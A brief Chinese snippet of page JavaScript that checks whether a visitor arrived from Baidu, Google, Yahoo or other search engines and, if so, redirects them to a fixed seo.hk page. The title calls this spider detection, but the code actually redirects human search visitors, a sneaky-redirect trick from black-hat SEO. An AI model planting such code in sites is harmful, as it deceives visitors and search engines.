识别搜索引擎蜘蛛跳转JS代码

<script language='javascript'>
var regexp=/\.(baidu|soso|sogou|google|youdao|yahoo)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="https://www.seo.hk/ask/590.html"
}
</script>